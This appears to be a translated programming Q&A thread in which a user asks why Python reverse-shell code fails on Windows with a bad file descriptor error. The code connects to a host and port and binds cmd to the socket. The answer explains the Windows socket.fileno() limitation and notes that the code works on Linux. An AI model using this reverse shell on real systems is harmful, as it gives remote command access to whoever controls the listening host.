我想在服务器上安装我的Windows shell,我使用以下代码。
import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['cmd','/u']);
我收到错误
OSError: [Errno 9] Bad file descriptor.
答案 0 :(得分:5)
如果您已阅读有关socket.fileno()
的文档,则会知道这在Windows中不起作用,请从Python Documentation引用:
socket.fileno()
返回套接字的文件描述符(一个小整数)。这对select.select()很有用。
在Windows下,此方法返回的小整数不能用于可以使用文件描述符的位置(例如os.fdopen())。 Unix的 没有这个限制。
注意:强>
我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常。